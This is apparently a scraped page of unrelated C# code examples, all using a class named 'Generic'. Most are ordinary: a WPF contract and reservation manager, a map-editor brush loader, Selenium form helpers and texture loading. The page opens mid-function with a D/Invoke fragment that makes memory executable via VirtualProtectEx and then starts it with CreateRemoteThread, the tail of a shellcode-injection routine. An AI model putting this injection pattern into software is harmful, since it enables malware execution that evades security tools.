                (uint)DInvoke.Data.Win32.Kernel32.MemoryProtectionFlags.ExecuteRead,
                oldProtection
            };

            var response = (IntPtr)Generic.DynamicAPIInvoke(
                "kernel32.dll",
                "VirtualProtectEx",
                typeof(DInvoke.DynamicInvoke.Win32.Delegates.VirtualProtectEx),
                ref protection,
                true);

            if (response == IntPtr.Zero)
            {
                return;
            }


            var createThreat = new object[]
            {
                (IntPtr)(-1),
                IntPtr.Zero,
                (uint)0,
                baseAddress,
                IntPtr.Zero,
                (uint)0,
                IntPtr.Zero
            };

            var hthread = (IntPtr)Generic.DynamicAPIInvoke(
                "kernel32.dll",
                "CreateRemoteThread",
                typeof(DInvoke.DynamicInvoke.Win32.Delegates.CreateRemoteThread),
                ref createThreat,
                true);
        }
Ejemplo n.º 41
0
        private void btnStopContract_Click(object sender, RoutedEventArgs e)
        {
            if (lvContracts.SelectedIndex == -1)
                return;

            Contract contract = (Contract)lvContracts.SelectedItem;
            ContractFormula formula = Global.contractFormula.Find(f => f.Id == contract.ContractFormulaId);
            int? monthsNotice = formula.NoticePeriodInMonths;
            DateTime endDate = (DateTime)contract.EndDate;

            if (endDate < DateTime.Today)
            {
                MessageBox.Show("This contract has already endend", "Info", MessageBoxButton.OK, MessageBoxImage.Information);
                return;
            }

            if (monthsNotice != null && DateTime.Today.AddMonths((int)monthsNotice) > endDate)
            {
                MessageBox.Show(String.Format("This contract can't be stopped. The contract formula requires a {0} month notice and this contract ends {1:dd-MM-yy}. ", (int)monthsNotice, endDate), "Info", MessageBoxButton.OK, MessageBoxImage.Information);
                return;
            }

            // check for reservations during this contract
            Generic<Reservation> generic = new Generic<Reservation>();
            Global.reservations = generic.GetAll().ToList();
            generic.Dispose();

            List<Reservation> companiesReservations = Global.reservations.FindAll(r => r.CompanyId == contract.CompanyId);
            foreach (Reservation reservation in companiesReservations)
            {
                if (reservation.StartDate <= contract.EndDate && reservation.StartDate >= contract.StartDate)
                {
                    MessageBox.Show("This contract can't be stopped. There are existing reservations during this contract");
                    return;
                }
            }

            if (monthsNotice == null)
            {
                contract.EndDate = DateTime.Today.AddDays(-1);
            }
            else
            {
                contract.EndDate = DateTime.Today.AddMonths((int)monthsNotice);
            }

            try
            {
                Generic<Contract> gen = new Generic<Contract>();
                gen.Update(contract, contract.Id);
                gen.Dispose();
                if (monthsNotice == null)
                    MessageBox.Show("The contract has been stopped successfully.", "Contract saved", MessageBoxButton.OK, MessageBoxImage.Information);
                else
                    MessageBox.Show(String.Format("The contract has a {0} months notice period. The end date has been adjusted accordingly.", (int)monthsNotice), "Contract saved", MessageBoxButton.OK, MessageBoxImage.Information);
            }
            catch (Exception ex)
            {
                Console.Write(ex.ToString());
                MessageBox.Show("There was a problem stopping this contract. Please try again later or contact a sysadmin.", "Database Error", MessageBoxButton.OK, MessageBoxImage.Information);
            }

            loadContracts();
        }
Ejemplo n.º 42
0
 public override bool Equals(object @object)
 {
     return(Generic.GenericEquals(this, @object));
 }
Ejemplo n.º 43
0
        private void loadContracts()
        {
            Generic<Contract> generic = new Generic<Contract>();
            Global.contracts = generic.GetAll().ToList();
            generic.Dispose();

            lvContracts.Items.Clear();
            foreach (Contract contract in Global.contracts)
            {
                if (showAllContracts)
                {
                    lvContracts.Items.Add(contract);
                }
                else
                {
                    int res = ((DateTime)contract.EndDate).CompareTo(DateTime.Today);
                    if (res >= 0)
                        lvContracts.Items.Add(contract);
                }

            }
        }
Ejemplo n.º 44
0
 public override int GetHashCode()
 {
     return(Generic.GenericGetHashCode(this));
 }
Ejemplo n.º 45
0
        private void loadLocations()
        {
            // load companies from db
            Generic<Location> generic = new Generic<Location>();
            Global.locations = generic.GetAll().ToList();
            generic.Dispose();

            lbLocations.Items.Clear();
            foreach (Location location in Global.locations)
            {
                lbLocations.Items.Add(String.Format("{0}", location.Name));
            }
        }
 public IWebElement InputState(string text          = null) => Generic.SendKeys(State_Input, text);
Ejemplo n.º 47
0
        public void saveUpdateFormula(ContractFormula contractFormula)
        {
            ContractFormulaFrm cFrm = new ContractFormulaFrm(contractFormula);
            bool result = (bool)cFrm.ShowDialog();
            cFrm.Close();

            if (result)
            {
                try
                {
                    Generic<ContractFormula> gen = new Generic<ContractFormula>();
                    if (contractFormula.Id == 0)
                        gen.Add(contractFormula);
                    else
                        gen.Update(contractFormula, contractFormula.Id);

                    gen.Dispose();
                    MessageBox.Show("The contract formula was saved successfully", "Contract formula saved", MessageBoxButton.OK, MessageBoxImage.Information);
                }
                catch (Exception ex)
                {
                    Console.Write(ex.ToString());
                    MessageBox.Show("There was a problem saving this contract formula to the database. Please try again later or contact a sysadmin.", "Database Error", MessageBoxButton.OK, MessageBoxImage.Information);
                }
            }
        }
Ejemplo n.º 48
0
        public override bool Process()
        {
            bool success = Generic.PlayCard(Controller, Source, Target, ZonePosition, ChooseOne, SkipPrePhase);

            return(success);
        }
Ejemplo n.º 49
0
        private void DayBoxDoubleClicked_event(NewAppointmentEventArgs e)
        {
            if (e.StartDate < DateTime.Today)
            {
                MessageBox.Show("Sorry. No reservations can be made in the past.", "Message", MessageBoxButton.OK, MessageBoxImage.Information);
                return;
            }

            //MessageBox.Show("You double-clicked on day " + Convert.ToDateTime(e.StartDate).ToShortDateString(), "Calendar Event", MessageBoxButton.OK);
            Reservation reservation = new Reservation();
            reservation.StartDate = Convert.ToDateTime(e.StartDate).Date + DateTime.Now.TimeOfDay;
            reservation.EndDate = Convert.ToDateTime(e.StartDate).Date + DateTime.Now.TimeOfDay;

            ReservationFrm reservationFrm = new ReservationFrm(reservation);
            bool result = (bool)reservationFrm.ShowDialog();

            if (result)
            {
                try
                {
                    Generic<Reservation> gen = new Generic<Reservation>();
                    if (reservation.Id == 0)
                        gen.Add(reservation);
                    else
                        gen.Update(reservation, reservation.Id);

                    gen.Dispose();
                    MessageBox.Show("The reservation was saved successfully", "Reservation saved", MessageBoxButton.OK, MessageBoxImage.Information);
                }
                catch (Exception ex)
                {
                    Console.Write(ex.ToString());
                    MessageBox.Show("There was a problem saving this Reservation to the database. Please try again later or contact a sysadmin.", "Database Error", MessageBoxButton.OK, MessageBoxImage.Information);
                }

                // reload companies and refresh ListBox
                loadCalendar();
            }
        }
Ejemplo n.º 50
0
		public Response(Status status, Generic.IEnumerable<KeyValue<string, string>> headers) :
			this()
		{
			this.Status = status;
			foreach (var header in headers)
				this[header.Key] = header.Value;
		}
Ejemplo n.º 51
0
 private void loadReservations()
 {
     Generic<Reservation> generic = new Generic<Reservation>();
     Global.reservations = generic.GetAll().ToList();
     generic.Dispose();
 }
 public IWebElement InputZipCode(string text        = null) => Generic.SendKeys(ZipCode, ZipCode_wrapper, text);
Ejemplo n.º 53
0
		public Links Add(Generic.IEnumerable<Link> items)
		{
			this.backend.Add(items);
			this.Changed();
			return this;
		}
Ejemplo n.º 54
0
 internal static void CreateCostChoices(Controller c, IEntity source)
 {
     Generic.CreateChoiceCards(c, source, null, ChoiceType.GENERAL, ChoiceAction.KAZAKUS, PotionCards[0], null);
 }
Ejemplo n.º 55
0
        public override void load(XElement node)
        {
            UInt16 intVal = 0;
            String strVal = "";

            look_id = node.Attribute("lookid").GetUInt16();
            if (node.Attribute("server_lookid").GetUInt16() != 0)
            {
                look_id = node.Attribute("server_lookid").GetUInt16();
            }
            z_order           = node.Attribute("z-order").GetUInt16();
            use_only_optional = Generic.isTrueString(node.Attribute("solo_optional").GetString());
            randomize         = Generic.isTrueString(node.Attribute("randomize").GetString());
            foreach (var item_node in node.Elements("item"))
            {
                UInt16   itemid = item_node.Attribute("id").GetUInt16();
                int      chance = item_node.Attribute("chance").GetInt32();
                ItemType it     = Global.items.items[itemid];
                if (it == null)
                {
                    throw new Exception("Invalid item id brushId: " + this.id);
                }
                if (!it.isGroundTile())
                {
                    throw new Exception("is not ground item: " + itemid + " this is a " + it.Group.ToString());
                }

                if (it.brush != null && !it.brush.Equals(this))
                {
                    throw new Exception("can not be member of two brushes id:" + itemid);
                }
                it.brush = this;
                ItemChanceBlock ci;
                ci.id     = itemid;
                ci.chance = total_chance + chance;
                border_items.Add(ci);
                total_chance += chance;
            }
            foreach (var optional_node in node.Elements("optional"))
            {
                if (optional_border != null)
                {
                    throw new Exception("Duplicate optional borders");
                    // continue;
                }
                intVal = optional_node.Attribute("ground_equivalent").GetUInt16();
                if (intVal != 0)
                {
                    ItemType it = Global.items.items[intVal];
                    if (it == null)
                    {
                        throw new Exception("Invalid id of ground dependency equivalent item");
                    }
                    if (!it.isGroundTile())
                    {
                        throw new Exception("Ground dependency equivalent is not a ground item");
                    }

                    if (!this.Equals(it.brush))
                    {
                        throw new Exception("Ground dependency equivalent does not use the same brush as ground border");
                    }

                    AutoBorder ab = new AutoBorder();
                    ab.Load(optional_node, this, intVal);
                    optional_border = ab;
                }
                else
                {
                    Int32 id = optional_node.Attribute("id").GetInt32();
                    if (id == 0)
                    {
                        throw new Exception("Missing tag id for border node");
                        //continue;
                    }
                    AutoBorder border_secound = null;

                    for (int x = 0; x <= Brushes.getInstance().maxBorderId; x++)
                    {
                        AutoBorder border = Brushes.getInstance().borders[x];
                        if ((border != null) &&
                            (border.Id == id))
                        {
                            border_secound = border;
                        }
                    }
                    if (border_secound == null)
                    {
                        throw new Exception("Could not find border id. Brush: " + name);
                    }
                    optional_border = border_secound;
                }
            }
            foreach (var border_node in node.Elements("border"))
            {
                AutoBorder ab;
                int        id = border_node.Attribute("id").GetInt32();
                if (id == 0)
                {
                    intVal = border_node.Attribute("ground_equivalent").GetUInt16();
                    ItemType it = Global.items.items[intVal];
                    if (it == null)
                    {
                        throw new Exception("Invalid id of ground dependency equivalent item");
                    }

                    if (!it.isGroundTile())
                    {
                        throw new Exception("Ground dependency equivalent is not a ground item");
                    }

                    if (!this.Equals(it.brush))
                    {
                        throw new Exception("Ground dependency equivalent does not use the same brush as ground border");
                    }
                    ab = new AutoBorder();
                    ab.Load(border_node, this, intVal);
                }
                else
                {
                    AutoBorder border_secound = null;

                    for (int x = 0; x <= Brushes.getInstance().maxBorderId; x++)
                    {
                        AutoBorder border = Brushes.getInstance().borders[x];
                        if ((border != null) &&
                            (border.Id == id))
                        {
                            border_secound = border;
                        }
                    }
                    if (border_secound == null)
                    {
                        throw new Exception("Could not find border id. Brush:" + name);
                    }
                    ab = border_secound;
                }
                BorderBlock bb = new BorderBlock();
                bb.super      = false;
                bb.autoborder = ab;

                strVal = border_node.Attribute("to").GetString();
                if (!"".Equals(strVal))
                {
                    if ("all".Equals(strVal))
                    {
                        bb.to = 0xFFFFFFFF;
                    }
                    else if ("none".Equals(strVal))
                    {
                        bb.to = 0;
                    }
                    else
                    {
                        Brush toBrush = Brushes.getInstance().getBrush(strVal);
                        if (toBrush != null)
                        {
                            bb.to = toBrush.getID();
                        }
                        else
                        {
                            throw new Exception("To brush " + strVal + " doesn't exist.");
                        }
                    }
                }
                else
                {
                    bb.to = 0xFFFFFFFF;
                }
                strVal = border_node.Attribute("super").GetString();
                if (!"".Equals(strVal))
                {
                    if (Generic.isTrueString(strVal))
                    {
                        bb.super = true;
                    }
                }
                strVal = border_node.Attribute("align").GetString();
                if (!"".Equals(strVal))
                {
                    if ("outer".Equals(strVal))
                    {
                        bb.outer = true;
                    }
                    else if ("inner".Equals(strVal))
                    {
                        bb.outer = false;
                    }
                    else
                    {
                        bb.outer = true;
                    }
                }

                if (bb.outer)
                {
                    if (bb.to == 0)
                    {
                        has_zilch_outer_border = true;
                    }
                    else
                    {
                        has_outer_border = true;
                    }
                }
                else
                {
                    if (bb.to == 0)
                    {
                        has_zilch_inner_border = true;
                    }
                    else
                    {
                        has_inner_border = true;
                    }
                }
                if (border_node.HasElements)
                {
                    foreach (var specific_border_node in border_node.Elements("specific"))
                    {
                        SpecificCaseBlock scb = null;

                        foreach (var conditions_specific in specific_border_node.Elements("conditions"))
                        {
                            foreach (var match_border_conditions in conditions_specific.Elements("match_border"))
                            {
                                int    border_id = 0;
                                string edge      = "";
                                border_id = match_border_conditions.Attribute("id").GetInt32();
                                edge      = match_border_conditions.Attribute("edge").GetString();
                                if ((border_id == 0) || "".Equals(edge))
                                {
                                    continue;
                                }
                                int        edge_id    = AutoBorder.EdgeNameToEdge(edge);
                                AutoBorder bit_border = Brushes.getInstance().findBorder(edge_id);
                                if (bit_border == null)
                                {
                                    throw new Exception("Unknown border id in specific case match block");
                                }

                                AutoBorder ab2 = bit_border;
                                if (ab2 == null)
                                {
                                    throw new Exception("error ab2 ==null");
                                }
                                UInt16 match_itemid = ab.tiles[edge_id];
                                if (scb == null)
                                {
                                    scb = new SpecificCaseBlock();
                                }
                                scb.items_to_match.Add(match_itemid);
                            }

                            foreach (var match_group_conditions in conditions_specific.Elements("match_group"))
                            {
                                uint   group = 0;
                                String edge  = "";
                                group = match_group_conditions.Attribute("group").GetUInt32();
                                edge  = match_group_conditions.Attribute("edge").GetString();
                                if ((group == 0) || "".Equals(edge))
                                {
                                    continue;
                                }

                                int edge_id = AutoBorder.EdgeNameToEdge(edge);
                                if (scb == null)
                                {
                                    scb = new SpecificCaseBlock();
                                }
                                scb.match_group           = group;
                                scb.group_match_alignment = edge_id;
                                scb.items_to_match.Add((UInt16)group);
                            }
                            foreach (var match_item_conditions in conditions_specific.Elements("match_item"))
                            {
                                ushort match_itemid = 0;
                                match_itemid = match_item_conditions.Attribute("id").GetUInt16();
                                if (match_itemid == 0)
                                {
                                    continue;
                                }
                                if (scb == null)
                                {
                                    scb = new SpecificCaseBlock();
                                }
                                scb.match_group = 0;
                                scb.items_to_match.Add(match_itemid);
                            }
                        }

                        // aqui conditions_specific
                        foreach (var actions_specific in specific_border_node.Elements("actions"))
                        {
                            foreach (var actions_replace_border in actions_specific.Elements("replace_border"))
                            {
                                int    border_id = 0;
                                String edge      = "";
                                ushort with_id   = 0;

                                border_id = actions_replace_border.Attribute("id").GetInt32();
                                edge      = actions_replace_border.Attribute("edge").GetString();
                                with_id   = actions_replace_border.Attribute("with").GetUInt16();

                                if ((border_id == 0) || ("".Equals(edge)) || (with_id == 0))
                                {
                                    continue;
                                }
                                int        edge_id    = AutoBorder.EdgeNameToEdge(edge);
                                AutoBorder bit_border = Brushes.getInstance().findBorder(border_id);
                                if (bit_border == null)
                                {
                                    throw new Exception("Unknown border id in specific case match block");
                                }

                                AutoBorder ab2 = bit_border;
                                if (ab2 == null)
                                {
                                    throw new Exception("error ab2 ==null");
                                }
                                ItemType it = Global.items.items[with_id];
                                if (it == null)
                                {
                                    throw new Exception("Unknown with_id in replace border");
                                }
                                it.IsBorder = true;

                                if (scb == null)
                                {
                                    scb = new SpecificCaseBlock();
                                }
                                scb.to_replace_id = ab2.tiles[edge_id];
                                scb.with_id       = with_id;
                            }

                            foreach (var actions_replace_item in actions_specific.Elements("replace_item"))
                            {
                                ushort to_replace_id = actions_replace_item.Attribute("to_replace_id").GetUInt16();
                                ushort with_id       = actions_replace_item.Attribute("with").GetUInt16();;
                                if ((to_replace_id == 0) || (with_id == 0))
                                {
                                    continue;
                                }
                                ItemType it = Global.items.items[with_id];
                                if (it == null)
                                {
                                    throw new Exception("Unknown with_id in replace item");
                                }
                                it.IsBorder = true;

                                if (scb == null)
                                {
                                    scb = new SpecificCaseBlock();
                                }
                                scb.to_replace_id = to_replace_id;
                                scb.with_id       = with_id;
                            }

                            foreach (var actions_delete_borders in actions_specific.Elements("delete_borders"))
                            {
                                if (scb == null)
                                {
                                    scb = new SpecificCaseBlock();
                                }
                                scb.delete_all = true;
                            }
                        }
                        if (scb != null)
                        {
                            bb.specific_cases.Add(scb);
                        }
                    }
                }
                borders.Add(bb);
            }
            foreach (var friend_node in node.Elements("friend"))
            {
                String friendName = friend_node.Attribute("name").GetString();
                if ("all".Equals(friendName))
                {
                    friends.Add(0xFFFFFFFF);
                }
                else
                {
                    Brush brush = Brushes.getInstance().getBrush(friendName);
                    if (brush != null)
                    {
                        friends.Add(brush.getID());
                    }
                    else
                    {
                        throw new Exception("Brush" + friendName + " is not defined.");
                    }
                }
                hateFriends = false;
            }
            foreach (var friend_node in node.Elements("enemy"))
            {
                String enemyName = friend_node.Attribute("name").GetString();
                if ("all".Equals(enemyName))
                {
                    friends.Add(0xFFFFFFFF);
                }
                else
                {
                    Brush brush = Brushes.getInstance().getBrush(enemyName);
                    if (brush != null)
                    {
                        friends.Add(brush.getID());
                    }
                    else
                    {
                        throw new Exception("Brush" + enemyName + " is not defined.");
                    }
                }
                hateFriends = true;
            }

            foreach (var friend_node in node.Elements("clear_borders"))
            {
                borders.Clear();
            }

            foreach (var friend_node in node.Elements("clear_friends"))
            {
                friends.Clear();
                hateFriends = false;
            }

            if (total_chance == 0)
            {
                randomize = false;
            }
        }
Ejemplo n.º 56
0
 public int GetHashCode(object @object)
 {
     return(Generic.GenericGetHashCode(@object));
 }
Ejemplo n.º 57
0
		public Response(string protocol, Status status, Generic.IEnumerable<KeyValue<string, string>> headers) :
			this(status, headers)
		{
			this.Protocol = protocol;
		}
 public IWebElement InputEmail(string text          = null) => Generic.SendKeys(Email, Email, text);
 public IWebElement InputCity(string text           = null) => Generic.SendKeys(txtCity, text);
Ejemplo n.º 60
0
 public static AnalyzedTexture OpenFile(string input)
 {
     try
     {
         using (var file = File.OpenRead(input))
         {
             if (DDS.StreamIsDDS(file))
             {
                 return(new AnalyzedTexture()
                 {
                     Type = TexLoadType.DDS,
                     Texture = (Texture2D)DDS.FromStream(file)
                 });
             }
         }
         Generic.LoadResult lr;
         using (var file = File.OpenRead(input))
         {
             lr = Generic.BytesFromStream(file);
         }
         if (lr.Width != lr.Height)
         {
             return new AnalyzedTexture()
                    {
                        Type = TexLoadType.ErrorNonSquare
                    }
         }
         ;
         if (!MathHelper.IsPowerOfTwo(lr.Width) ||
             !MathHelper.IsPowerOfTwo(lr.Height))
         {
             return new AnalyzedTexture()
                    {
                        Type = TexLoadType.ErrorNonPowerOfTwo
                    }
         }
         ;
         bool opaque = true;
         //Swap channels + check alpha
         for (int i = 0; i < lr.Data.Length; i += 4)
         {
             var R = lr.Data[i];
             var B = lr.Data[i + 2];
             var A = lr.Data[i + 3];
             lr.Data[i + 2] = R;
             lr.Data[i]     = B;
             if (A != 255)
             {
                 opaque = false;
             }
         }
         var tex = new Texture2D(lr.Width, lr.Height);
         tex.SetData(lr.Data);
         return(new AnalyzedTexture()
         {
             Type = opaque ? TexLoadType.Opaque : TexLoadType.Alpha,
             Texture = tex
         });
     }
     catch (Exception e)
     {
         return(new AnalyzedTexture()
         {
             Type = TexLoadType.ErrorLoad
         });
     }
 }